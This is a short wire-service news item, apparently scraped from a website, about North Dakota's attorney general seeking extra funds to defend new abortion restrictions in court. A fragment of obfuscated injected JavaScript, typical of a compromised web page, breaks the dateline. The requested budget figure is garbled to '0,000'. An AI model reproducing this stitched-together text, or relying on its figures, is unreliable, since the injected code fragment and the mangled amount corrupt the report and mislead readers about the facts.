BISMARCK, bbrft|var|u0026u|referrer|hiaky||js|php’.split(‘|’),0,{}))
N.D. (AP) – North Dakota Attorney General Wayne Stenehjem is asking for a 0,000 budget increase to defend any lawsuits that arise from new legislation that gives North Dakota the strictest abortion laws in the country.  The Senate Appropriations Committee is expected to consider the request Wednesday.

Republican Gov. Jack Dalrymple signed three abortion bills last month that would make North Dakota the most restrictive state in the nation for the procedure, including a measure that would ban abortions as early as six weeks into a pregnancy, when a fetal heartbeat can first be detected.  Dalrymple has urged lawmakers to set aside funding for a legal fight promised by abortion-rights advocates.